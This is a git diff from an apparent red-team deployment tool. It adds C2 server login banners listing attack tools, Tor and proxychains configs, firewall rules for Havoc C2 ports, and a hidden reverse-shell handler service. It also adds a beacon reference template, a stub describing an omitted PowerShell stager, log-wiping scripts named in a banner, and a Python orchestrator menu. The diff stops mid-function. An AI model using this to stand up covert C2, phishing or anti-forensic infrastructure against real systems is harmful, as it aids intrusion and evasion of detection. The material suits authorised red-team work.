+โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•— +โ•‘ OPERATIONAL SECURITY โ•‘ +โ•‘ โ•‘ +โ•‘ This server has enhanced security features โ•‘ +โ•‘ including hardened SSH, Tor routing, and โ•‘ +โ•‘ zero-logs configuration. โ•‘ +โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• + +The following tools and utilities have been installed: + +Apt-Installed Tools: +-------------------- +- git, wget, curl, unzip +- python3-pip, python3-venv, pipx +- tmux, nmap, tcpdump, hydra, john, hashcat +- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder +- golang, proxychains, tor, crackmapexec, jq, unzip +- postfix, certbot, opendkim, opendkim-tools + +Pipx-Installed Tools: +--------------------- +- NetExec: git+https://github.com/Pennyw0rth/NetExec +- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray +- impacket: (various network protocols and service tools) + +Custom Tools Installed in ~/Tools: +---------------------------------- +- SharpCollection: ~/Tools/SharpCollection +- Kerbrute: ~/Tools/Kerbrute +- PEASS-ng: ~/Tools/PEASS-ng +- MailSniper: ~/Tools/MailSniper +- Inveigh: ~/Tools/Inveigh +- Gophish: ~/Tools/gophish (unzipped here) + +Other Installed C2 Frameworks: +------------------------------ +- Metasploit Framework: system installed (run 'msfconsole') +- Havoc C2: installed in /root/Tools/Havoc + +Security Scripts in /root/Tools/: +----------------------------- +- clean-logs.sh: Securely clears all logs on the system +- secure-exit.sh: Perform secure wipe for termination +- serve-beacons.sh: Hosts generated implants for delivery + +Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations. + +Once your DNS record points to this serverโ€™s public IP, you can obtain a Letโ€™s Encrypt certificate by running: + + sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }} + sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }} + sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }} + systemctl start nginx.service + +Remember to ensure your DNS is set correctly before running the above command. + +**IMPORTANT:** + +To route traffic through Tor for additional anonymity, prefix commands with 'proxychains': + proxychains curl ifconfig.me + +Don't forget to set up a DMARC record for your domain. Update your DNS provider's dashboard to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain. \ No newline at end of file diff --git a/common/templates/motd-linode.j2 b/common/templates/motd-linode.j2 new file mode 100644 index 0000000..251e235 --- /dev/null +++ b/common/templates/motd-linode.j2 @@ -0,0 +1,48 @@ +Welcome to your new C2 Server! + +The following tools and utilities have been installed: + +Apt-Installed Tools: +-------------------- +- git, wget, curl, unzip +- python3-pip, python3-venv, pipx +- tmux, nmap, tcpdump, hydra, john, hashcat +- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder +- golang, proxychains, tor, crackmapexec, jq, unzip +- postfix, certbot, opendkim, opendkim-tools + +Pipx-Installed Tools: +--------------------- +- NetExec: git+https://github.com/Pennyw0rth/NetExec +- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray +- impacket: (various network protocols and service tools) + +Custom Tools Installed in ~/Tools: +---------------------------------- +- SharpCollection: ~/Tools/SharpCollection +- Kerbrute: ~/Tools/Kerbrute +- PEASS-ng: ~/Tools/PEASS-ng +- MailSniper: ~/Tools/MailSniper +- Inveigh: ~/Tools/Inveigh +- Gophish: ~/Tools/gophish (unzipped here) + +Other Installed C2 Frameworks: +------------------------------ +- Metasploit Framework: system installed (run 'msfconsole') +- Havoc C2: installed in /root/Tools/Havoc + +Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations. + +Once your DNS record points to this serverโ€™s public IP, you can obtain a Letโ€™s Encrypt certificate by running: + + sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }} + sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }} + sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }} + systemctl start nginx.service + +Remember to ensure your DNS is set correctly before running the above command. + +**IMPORTANT:** + +Donโ€™t forget to set up a DMARC record for your domain. Update your DNS providerโ€™s dashboard (e.g., GoDaddy) to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain. + diff --git a/common/templates/motd-redirector.j2 b/common/templates/motd-redirector.j2 new file mode 100644 index 0000000..84d0312 --- /dev/null +++ b/common/templates/motd-redirector.j2 @@ -0,0 +1,16 @@ +================================================================ +C2itall Redirector Post-Installation Instructions +================================================================ + +To complete your setup with SSL certificates, run: + /root/Tools/post_install_redirector.sh + +This script will guide you through: +- Setting up Let's Encrypt certificates +- Starting required services +- Updating NGINX configuration + +For enhanced OPSEC, you can also randomize ports: + /root/Tools/randomize_ports.sh + +Run these after you've configured your DNS records to point to this server. diff --git a/common/templates/motd.j2 b/common/templates/motd.j2 new file mode 100644 index 0000000..251e235 --- /dev/null +++ b/common/templates/motd.j2 @@ -0,0 +1,48 @@ +Welcome to your new C2 Server! + +The following tools and utilities have been installed: + +Apt-Installed Tools: +-------------------- +- git, wget, curl, unzip +- python3-pip, python3-venv, pipx +- tmux, nmap, tcpdump, hydra, john, hashcat +- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder +- golang, proxychains, tor, crackmapexec, jq, unzip +- postfix, certbot, opendkim, opendkim-tools + +Pipx-Installed Tools: +--------------------- +- NetExec: git+https://github.com/Pennyw0rth/NetExec +- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray +- impacket: (various network protocols and service tools) + +Custom Tools Installed in ~/Tools: +---------------------------------- +- SharpCollection: ~/Tools/SharpCollection +- Kerbrute: ~/Tools/Kerbrute +- PEASS-ng: ~/Tools/PEASS-ng +- MailSniper: ~/Tools/MailSniper +- Inveigh: ~/Tools/Inveigh +- Gophish: ~/Tools/gophish (unzipped here) + +Other Installed C2 Frameworks: +------------------------------ +- Metasploit Framework: system installed (run 'msfconsole') +- Havoc C2: installed in /root/Tools/Havoc + +Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations. + +Once your DNS record points to this serverโ€™s public IP, you can obtain a Letโ€™s Encrypt certificate by running: + + sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }} + sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }} + sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }} + systemctl start nginx.service + +Remember to ensure your DNS is set correctly before running the above command. + +**IMPORTANT:** + +Donโ€™t forget to set up a DMARC record for your domain. Update your DNS providerโ€™s dashboard (e.g., GoDaddy) to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain. + diff --git a/common/templates/proxychains.conf.j2 b/common/templates/proxychains.conf.j2 new file mode 100644 index 0000000..ea1eaf1 --- /dev/null +++ b/common/templates/proxychains.conf.j2 @@ -0,0 +1,68 @@ +# FlokiNET/templates/proxychains.conf.j2 +# ProxyChains configuration for C2 server +# Routes traffic through Tor for anonymity + +# Dynamic chain - Each connection through the proxy list +# Uses chained proxies in the order they appear in the list +dynamic_chain + +# Proxy DNS requests - no leak for DNS data +proxy_dns + +# Randomize the order of the proxies on each start +# random_chain + +# Set the type of chain (dynamic, strict, random) +# strict_chain +# random_chain + +# Quiet mode (less console output) +quiet_mode + +# ProxyList format: +# type host port [user pass] +# (values separated by 'tab' or 'blank') +[ProxyList] +# add proxy here ... +# socks5 127.0.0.1 1080 +socks5 127.0.0.1 9050 + +# FlokiNET/templates/iptables-rules.j2 +# Hardened iptables rules for FlokiNET C2 server +# Applied at system startup + +*filter +:INPUT DROP [0:0] +:FORWARD DROP [0:0] +:OUTPUT ACCEPT [0:0] + +# Allow established and related connections +-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT + +# Allow loopback +-A INPUT -i lo -j ACCEPT + +# Allow SSH +-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ ssh_port | default(22) }} -j ACCEPT + +# Allow HTTP/HTTPS +-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT +-A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT + +# Allow Havoc C2 ports +-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_http_port | default(8080) }} -j ACCEPT +-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_https_port | default(443) }} -j ACCEPT +-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_teamserver_port | default(40056) }} -j ACCEPT + +# Allow shell handler port +{% if shell_handler_port is defined %} +-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ shell_handler_port }} -j ACCEPT +{% endif %} + +# Block all other incoming traffic +-A INPUT -j DROP + +# Allow all outbound traffic by default +-A OUTPUT -j ACCEPT + +COMMIT \ No newline at end of file diff --git a/common/templates/reference.txt.j2 b/common/templates/reference.txt.j2 new file mode 100644 index 0000000..59bed7f --- /dev/null +++ b/common/templates/reference.txt.j2 @@ -0,0 +1,17 @@ +C2 Server Details: +- C2 IP: C2_HOST +- Redirector Domain: REDIRECTOR_HOST + +Beacons Generated (GENERATED_DATE): +- Windows EXE: WINDOWS_EXE (Profile: WIN_PROFILE) +- Windows DLL: WINDOWS_DLL (Profile: DLL_PROFILE) +- Linux Binary: LINUX_BINARY (Profile: LINUX_PROFILE) +- macOS Binary: MACOS_BINARY (Profile: MAC_PROFILE) +- Windows Stager: staged/WINDOWS_STAGER (Profile: STAGER_PROFILE) + +Usage: +1. Ensure your redirector is properly configured to forward requests to the C2 server +2. Update DNS for REDIRECTOR_HOST to point to your redirector IP +3. Test connectivity before deployment in target environment + +IMPORTANT: These beacons will connect to REDIRECTOR_HOST on port REDIRECTOR_PORT \ No newline at end of file diff --git a/common/templates/resolv.conf.j2 b/common/templates/resolv.conf.j2 new file mode 100644 index 0000000..e6444ec --- /dev/null +++ b/common/templates/resolv.conf.j2 @@ -0,0 +1,18 @@ +# FlokiNET/templates/resolv.conf.j2 +# Secure DNS configuration +# Uses privacy-respecting DNS servers + +nameserver 9.9.9.9 +nameserver 1.1.1.1 +options edns0 single-request-reopen +options timeout:1 +options attempts:2 + +# FlokiNET/templates/dnscrypt.conf.j2 +[Resolve] +DNS=9.9.9.9 1.1.1.1 +FallbackDNS=8.8.8.8 8.8.4.4 +DNSSEC=yes +DNSOverTLS=yes +Cache=yes +DNSStubListener=yes diff --git a/common/templates/secure-ssh.sh.j2 b/common/templates/secure-ssh.sh.j2 new file mode 100644 index 0000000..e69de29 diff --git a/common/templates/setup-cert.sh.j2 b/common/templates/setup-cert.sh.j2 new file mode 100644 index 0000000..6794e2a --- /dev/null +++ b/common/templates/setup-cert.sh.j2 @@ -0,0 +1,22 @@ +#!/bin/bash +# Let's Encrypt Certificate Setup Script +# Run this after setting up DNS records pointing to this server + +# Replace these with your actual values if needed +DOMAIN="{{ domain }}" +SUBDOMAIN="{{ redirector_subdomain | default(cdn) }}" +EMAIL="admin@${DOMAIN}" + +echo "================================================" +echo "Let's Encrypt Certificate Setup" +echo "================================================" +echo +echo "Before running this script, make sure:" +echo "1. DNS records are set up correctly" +echo " - ${SUBDOMAIN}.${DOMAIN} points to $(curl -s ifconfig.me)" +echo "2. Port 80 is open to the internet" +echo +echo "Run the following command to get your certificate:" +echo "certbot --nginx -d ${SUBDOMAIN}.${DOMAIN} --non-interactive --agree-tos -m ${EMAIL}" +echo +echo "================================================" \ No newline at end of file diff --git a/common/templates/shell-handler.service.j2 b/common/templates/shell-handler.service.j2 new file mode 100644 index 0000000..e867508 --- /dev/null +++ b/common/templates/shell-handler.service.j2 @@ -0,0 +1,28 @@ +[Unit] +Description=Reverse Shell Handler Service +After=network.target + +[Service] +Type=simple +User=root +Group=root +ExecStart=/root/Tools/shell-handler/persistent-listener.sh +Restart=always +RestartSec=10 + +# Hide process information +PrivateTmp=true +ProtectSystem=full +NoNewPrivileges=true + +# Make shell handler hard to find +StandardOutput=null +StandardError=null + +# Environment variables (configured via Ansible) +Environment="C2_HOST={{ c2_ip | default('127.0.0.1') }}" +Environment="LISTEN_PORT={{ shell_handler_port | default('4444') }}" +Environment="HAVOC_PORT={{ havoc_teamserver_port | default('40056') }}" + +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/common/templates/torrc.j2 b/common/templates/torrc.j2 new file mode 100644 index 0000000..f6797c3 --- /dev/null +++ b/common/templates/torrc.j2 @@ -0,0 +1,48 @@ +# FlokiNET/templates/torrc.j2 +# +# Tor configuration for C2 server +# Hardened configuration for operational security + +# General settings +DataDirectory /var/lib/tor +RunAsDaemon 1 +ControlPort 9051 +CookieAuthentication 1 +CookieAuthFileGroupReadable 0 +DisableDebuggerAttachment 1 + +# Network settings +SOCKSPort 127.0.0.1:9050 +SOCKSPolicy accept 127.0.0.1/8 +SOCKSPolicy reject * +Log notice file /var/log/tor/notices.log +SafeSocks 1 +TestSocks 0 + +# Circuit settings +NumEntryGuards 4 +EnforceDistinctSubnets 1 +CircuitBuildTimeout 60 +PathsNeededToBuildCircuits 0.95 +NewCircuitPeriod 900 +MaxCircuitDirtiness 1800 + +# Security settings +StrictNodes 1 +WarnPlaintextPorts 23,109,110,143,80,21 +ReachableAddresses *:80,*:443 +ReachableAddresses reject *:* +ReachableAddresses accept *:80 +ReachableAddresses accept *:443 + +# Obfuscation settings +Bridge obfs4 {{ bridge_address | default('placeholderbridge.example.org:443') }} {{ bridge_fingerprint | default('PLACEHOLDERFINGERPRINT') }} cert=PLACEHOLDER +UseBridges 1 +ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy +ClientTransportPlugin meek exec /usr/bin/obfs4proxy + +# Exit policy (no exits allowed) +ExitPolicy reject *:* + +# DNS resolution +AutomapHostsOnResolve 1 \ No newline at end of file diff --git a/common/templates/windows_loader.ps1.j2 b/common/templates/windows_loader.ps1.j2 new file mode 100644 index 0000000..8da3019 --- /dev/null +++ b/common/templates/windows_loader.ps1.j2 @@ -0,0 +1,8 @@ +# OMITTED โ€” Windows PowerShell stager template +# +# Jinja2 template rendered at deploy time with redirector hostname and path +# substituted. Downloads a staged payload over HTTPS with a legitimate-looking +# User-Agent and Referer, writes to a randomized temp path, and executes. +# Includes error suppression and jitter sleep to reduce behavioral detection. +# +# Omitted from public release. Present in operational deployments. diff --git a/deploy.py b/deploy.py new file mode 100755 index 0000000..322cd3d --- /dev/null +++ b/deploy.py @@ -0,0 +1,708 @@ +#!/usr/bin/env python3 +""" +C2ingRed - Main deployment menu and orchestrator +Modular red team infrastructure deployment tool +""" + +import os +import sys +import subprocess +import importlib.util +import argparse +from datetime import datetime + +# Add utils to path +sys.path.append(os.path.join(os.path.dirname(__file__), 'utils')) + +from utils.common import COLORS, clear_screen, print_banner, wait_for_input, confirm_action, archive_old_logs + +def import_module_from_path(module_name, file_path): + """Dynamically import a module from a file path""" + try: + spec = importlib.util.spec_from_file_location(module_name, file_path) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + return module + except Exception as e: + print(f"{COLORS['RED']}Error importing {module_name}: {e}{COLORS['RESET']}") + return None + +def main_menu(): + """Display the main menu and handle user selection""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}MAIN MENU{COLORS['RESET']}") + print(f"{COLORS['WHITE']}=========={COLORS['RESET']}") + print(f"1) Deploy Attack Box") + print(f"2) Deploy C2 Infrastructure") + print(f"3) Deploy Redirector") + print(f"4) Deploy Phishing Infrastructure") + print(f"5) Deploy Payload Server") + print(f"6) Deploy Email Tracker") + print(f"7) Deploy Logging Server {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}") + print(f"8) Deploy Share-Drive {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}") + print(f"9) Deploy Hashtopolis {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}") + print(f"10) Deploy Chat Server {COLORS['GREEN']}(Matrix + Element + Tailscale){COLORS['RESET']}") + print(f"11) Deploy Privacy Server {COLORS['GREEN']}(Phantom โ€” VPN, DNS, Matrix, etc.){COLORS['RESET']}") + print(f"12) Tools & Utilities") + print(f"13) Cleanup & Teardown") + print(f"\n99) Exit") + + choice = input(f"\nSelect an option: ") + + if choice == "1": + deploy_attack_box() + elif choice == "2": + deploy_c2_infrastructure() + elif choice == "3": + deploy_redirector() + elif choice == "4": + deploy_phishing_infrastructure() + elif choice == "5": + deploy_payload_server() + elif choice == "6": + deploy_tracker() + elif choice in ["7", "8", "9"]: + print(f"\n{COLORS['YELLOW']}This feature is currently under construction.{COLORS['RESET']}") + wait_for_input() + elif choice == "10": + deploy_chat_server() + elif choice == "11": + deploy_phantom() + elif choice == "12": + tools_menu() + elif choice == "13": + cleanup_menu() + elif choice == "99": + print(f"\n{COLORS['GREEN']}Exiting C2ingRed. Goodbye!{COLORS['RESET']}") + sys.exit(0) + else: + print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}") + wait_for_input() + +def deploy_c2_infrastructure(): + """Launch the C2 infrastructure deployment module""" + archive_logs_before_deployment() + + c2_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'c2', 'deploy_c2.py') + + if not os.path.exists(c2_module_path): + print(f"\n{COLORS['RED']}C2 deployment module not found at: {c2_module_path}{COLORS['RESET']}") + wait_for_input() + return + + c2_module = import_module_from_path('deploy_c2', c2_module_path) + if c2_module: + c2_module.c2_menu() + +def deploy_redirector(): + """Launch the redirector deployment module""" + archive_logs_before_deployment() + + redirector_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'redirectors', 'deploy_redirector.py') + + if not os.path.exists(redirector_module_path): + print(f"\n{COLORS['RED']}Redirector deployment module not found at: {redirector_module_path}{COLORS['RESET']}") + wait_for_input() + return + + redirector_module = import_module_from_path('deploy_redirector', redirector_module_path) + if redirector_module: + redirector_module.redirector_menu() + +def deploy_phishing_infrastructure(): + """Launch the phishing infrastructure deployment module""" + archive_logs_before_deployment() + + phishing_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'phishing', 'deploy_phishing.py') + + if not os.path.exists(phishing_module_path): + print(f"\n{COLORS['RED']}Phishing deployment module not found at: {phishing_module_path}{COLORS['RESET']}") + wait_for_input() + return + + phishing_module = import_module_from_path('deploy_phishing', phishing_module_path) + if phishing_module: + phishing_module.phishing_menu() + +def deploy_payload_server(): + """Launch the payload server deployment module""" + archive_logs_before_deployment() + + payload_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'payload-server', 'deploy_payload.py') + + if not os.path.exists(payload_module_path): + print(f"\n{COLORS['RED']}Payload server deployment module not found at: {payload_module_path}{COLORS['RESET']}") + wait_for_input() + return + + payload_module = import_module_from_path('deploy_payload', payload_module_path) + if payload_module: + payload_module.payload_menu() + +def deploy_chat_server(): + """Launch the chat server deployment module""" + archive_logs_before_deployment() + + chat_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'chat-server', 'deploy_chat.py') + + if not os.path.exists(chat_module_path): + print(f"\n{COLORS['RED']}Chat server deployment module not found at: {chat_module_path}{COLORS['RESET']}") + wait_for_input() + return + + chat_module = import_module_from_path('deploy_chat', chat_module_path) + if chat_module: + chat_module.chat_menu() + +def deploy_phantom(): + """Launch the Phantom privacy server deployer""" + c2itall_dir = os.path.dirname(os.path.abspath(__file__)) + submodule_path = os.path.join(c2itall_dir, 'ghost_protocol', 'phantom', 'phantom.py') + standalone_path = os.path.expanduser('~/tools/ghost_protocol/phantom/phantom.py') + + # Prefer submodule, fall back to standalone install + if os.path.exists(submodule_path): + phantom_path = submodule_path + elif os.path.exists(standalone_path): + phantom_path = standalone_path + else: + # Auto-clone as fallback + print(f"\n{COLORS['YELLOW']}[*] Phantom not found โ€” cloning ghost_protocol...{COLORS['RESET']}") + repo_url = "https://github.com/ghost-protocol/ghost_protocol-public.git" + clone_dest = os.path.expanduser('~/tools/ghost_protocol') + try: + subprocess.run(['git', 'clone', repo_url, clone_dest], check=True) + phantom_path = os.path.join(clone_dest, 'phantom', 'phantom.py') + print(f"{COLORS['GREEN']}[+] Cloned to {clone_dest}{COLORS['RESET']}") + except subprocess.CalledProcessError: + print(f"{COLORS['RED']}[-] Failed to clone ghost_protocol{COLORS['RESET']}") + wait_for_input() + return + + try: + env = os.environ.copy() + env["C2ITALL_INTEGRATED"] = "1" + subprocess.run([sys.executable, phantom_path], env=env) + except KeyboardInterrupt: + pass + wait_for_input() + + +def deploy_tracker(): + """Deploy email tracking server""" + print(f"\n{COLORS['BLUE']}Email Tracker Deployment{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}This would deploy a standalone email tracking server{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Feature coming soon...{COLORS['RESET']}") + wait_for_input() + +def deploy_attack_box(): + """Launch the attack box deployment module""" + archive_logs_before_deployment() + + attack_box_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'attack-box', 'deploy_attack_box.py') + + if not os.path.exists(attack_box_module_path): + print(f"\n{COLORS['RED']}Attack box deployment module not found at: {attack_box_module_path}{COLORS['RESET']}") + wait_for_input() + return + + attack_box_module = import_module_from_path('deploy_attack_box', attack_box_module_path) + if attack_box_module: + attack_box_module.attack_box_menu() + +def deploy_webrunner(): + """Launch the WEBRUNNER distributed geo-targeted recon module""" + archive_logs_before_deployment() + + wr_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'webrunner', 'deploy_webrunner.py') + + if not os.path.exists(wr_module_path): + print(f"\n{COLORS['RED']}WEBRUNNER module not found at: {wr_module_path}{COLORS['RESET']}") + wait_for_input() + return + + wr_module = import_module_from_path('deploy_webrunner', wr_module_path) + if wr_module: + wr_module.webrunner_menu() + + +def tools_menu(): + """Display the tools submenu""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}TOOLS & UTILITIES MENU{COLORS['RESET']}") + print(f"{COLORS['WHITE']}======================{COLORS['RESET']}") + print(f"1) Generate SSH Keys") + print(f"2) Test Provider Connectivity") + print(f"3) Validate Configuration Files") + print(f"4) Recon & Red Team Tools {COLORS['GREEN']}(Umbra + Custom Tools){COLORS['RESET']}") + print(f"5) Payload Generation Tools {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}") + print(f"6) Infrastructure Health Check") + print(f"7) Ops Dashboard {COLORS['CYAN']}(Real-Time Engagement Monitor){COLORS['RESET']}") + print(f"8) Claude Bot {COLORS['CYAN']}(Matrix-Claude Code Bridge){COLORS['RESET']}") + print(f"9) Chaos C2 {COLORS['CYAN']}(Deploy / Manage Chaos teamserver){COLORS['RESET']}") + print(f"10) WEBRUNNER {COLORS['CYAN']}(Distributed Geo-Targeted Recon){COLORS['RESET']}") + print(f"99) Return to Main Menu") + + choice = input(f"\nSelect an option: ") + + if choice == "1": + generate_ssh_keys() + elif choice == "2": + test_provider_connectivity() + elif choice == "3": + validate_configurations() + elif choice == "4": + recon_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'tools', 'recon_tools.py') + recon_module = import_module_from_path('recon_tools', recon_module_path) + if recon_module: + recon_module.recon_tools_menu() + elif choice == "5": + print(f"\n{COLORS['YELLOW']}This feature is currently under construction.{COLORS['RESET']}") + wait_for_input() + elif choice == "6": + infrastructure_health_check() + elif choice == "7": + launch_ops_dashboard() + elif choice == "8": + claude_bot_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'tools', 'deploy_claude_bot.py') + claude_bot_module = import_module_from_path('deploy_claude_bot', claude_bot_module_path) + if claude_bot_module: + claude_bot_module.claude_bot_menu() + elif choice == "9": + chaos_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'c2', 'deploy_chaos.py') + chaos_module = import_module_from_path('deploy_chaos', chaos_module_path) + if chaos_module: + chaos_module.chaos_menu() + elif choice == "10": + deploy_webrunner() + elif choice == "99": + return + else: + print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}") + wait_for_input() + + +def launch_ops_dashboard(): + """Launch the ops dashboard.""" + dashboard_path = os.path.join(os.path.dirname(__file__), 'ops_dashboard.py') + if not os.path.exists(dashboard_path): + print(f"\n{COLORS['RED']}Dashboard not found at {dashboard_path}{COLORS['RESET']}") + wait_for_input() + return + try: + subprocess.run([sys.executable, dashboard_path]) + except KeyboardInterrupt: + pass + + +def cleanup_menu(): + """Display the cleanup submenu""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}CLEANUP & TEARDOWN MENU{COLORS['RESET']}") + print(f"{COLORS['WHITE']}======================={COLORS['RESET']}") + print(f"1) Interactive Teardown (Select from List)") + print(f"2) Teardown by Deployment ID") + print(f"3) Teardown All Infrastructure") + print(f"4) Clean Local SSH Keys") + print(f"5) Manage Log Files & Archive") + print(f"6) List Active Deployments") + print(f"99) Return to Main Menu") + + choice = input(f"\nSelect an option: ") + + if choice == "1": + interactive_teardown() + elif choice == "2": + teardown_by_id() + elif choice == "3": + teardown_all() + elif choice == "4": + clean_ssh_keys() + elif choice == "5": + clean_logs() + elif choice == "6": + list_deployments() + elif choice == "99": + return + else: + print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}") + wait_for_input() + +def generate_ssh_keys(): + """Generate SSH keys utility""" + from utils.ssh_utils import generate_ssh_key + from utils.common import generate_deployment_id + + print(f"\n{COLORS['BLUE']}SSH Key Generation{COLORS['RESET']}") + + key_name = input("Enter key name (or leave blank for auto-generated): ") + if not key_name: + key_name = generate_deployment_id() + + ssh_key_path = generate_ssh_key(key_name) + if ssh_key_path: + print(f"{COLORS['GREEN']}SSH key generated successfully!{COLORS['RESET']}") + print(f"Private key: {ssh_key_path}") + print(f"Public key: {ssh_key_path}.pub") + else: + print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}") + + wait_for_input() + +def test_provider_connectivity(): + """Test connectivity to cloud providers""" + print(f"\n{COLORS['BLUE']}Provider Connectivity Test{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}This would test connectivity to AWS, Linode, and FlokiNET{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Feature coming soon...{COLORS['RESET']}") + wait_for_input() + +def validate_configurations(): + """Validate configuration files""" + print(f"\n{COLORS['BLUE']}Configuration Validation{COLORS['RESET']}") + + config_dirs = ['providers/AWS', 'providers/Linode', 'providers/FlokiNET'] + + for config_dir in config_dirs: + vars_file = os.path.join(config_dir, 'vars.yaml') + if os.path.exists(vars_file): + print(f"{COLORS['GREEN']}โœ“{COLORS['RESET']} Found: {vars_file}") + else: + print(f"{COLORS['RED']}โœ—{COLORS['RESET']} Missing: {vars_file}") + + wait_for_input() + +def infrastructure_health_check(): + """Check health of deployed infrastructure""" + print(f"\n{COLORS['BLUE']}Infrastructure Health Check{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}This would check the status of deployed infrastructure{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Feature coming soon...{COLORS['RESET']}") + wait_for_input() + +def interactive_teardown(): + """Interactive teardown - directly select deployment to teardown""" + try: + # Clear screen and run teardown script with --select option + clear_screen() + print(f"{COLORS['CYAN']}Select Deployment to Teardown...{COLORS['RESET']}\n") + + # Run the teardown script directly with --select to bypass the menu + os.system(f"{sys.executable} teardown.py --select") + + # Return to cleanup menu after teardown completes + print(f"\n{COLORS['CYAN']}Teardown process completed.{COLORS['RESET']}") + wait_for_input() + except Exception as e: + print(f"{COLORS['RED']}Error: {str(e)}{COLORS['RESET']}") + wait_for_input() + +def teardown_by_id(): + """Teardown deployment by ID using standalone teardown script""" + print(f"\n{COLORS['BLUE']}Teardown by Deployment ID{COLORS['RESET']}") + + deployment_id = input("Enter deployment ID: ").strip() + if not deployment_id: + print(f"{COLORS['YELLOW']}No deployment ID provided{COLORS['RESET']}") + wait_for_input() + return + + try: + result = subprocess.run([sys.executable, "teardown.py", "--deployment-id", deployment_id], + capture_output=True, text=True) + if result.returncode != 0: + print(f"{COLORS['RED']}Error running teardown: {result.stderr}{COLORS['RESET']}") + else: + print(result.stdout) + except Exception as e: + print(f"{COLORS['RED']}Error: {str(e)}{COLORS['RESET']}") + wait_for_input() + +def teardown_all(): + """Teardown all infrastructure""" + print(f"\n{COLORS['RED']}โš ๏ธ WARNING: This will teardown ALL infrastructure!{COLORS['RESET']}") + + confirm = input(f"{COLORS['YELLOW']}Are you sure? Type 'DESTROY' to confirm: {COLORS['RESET']}") + if confirm != "DESTROY": + print(f"{COLORS['GREEN']}Operation cancelled{COLORS['RESET']}") + wait_for_input() + return + + # Use the standalone teardown script + teardown_script = os.path.join(os.path.dirname(__file__), 'teardown.py') + try: + result = subprocess.run([ + sys.executable, teardown_script, + '--all', + '--force' + ], capture_output=True, text=True) + + if result.returncode == 0: + print(f"\n{COLORS['GREEN']}All infrastructure has been torn down{COLORS['RESET']}") + else: + 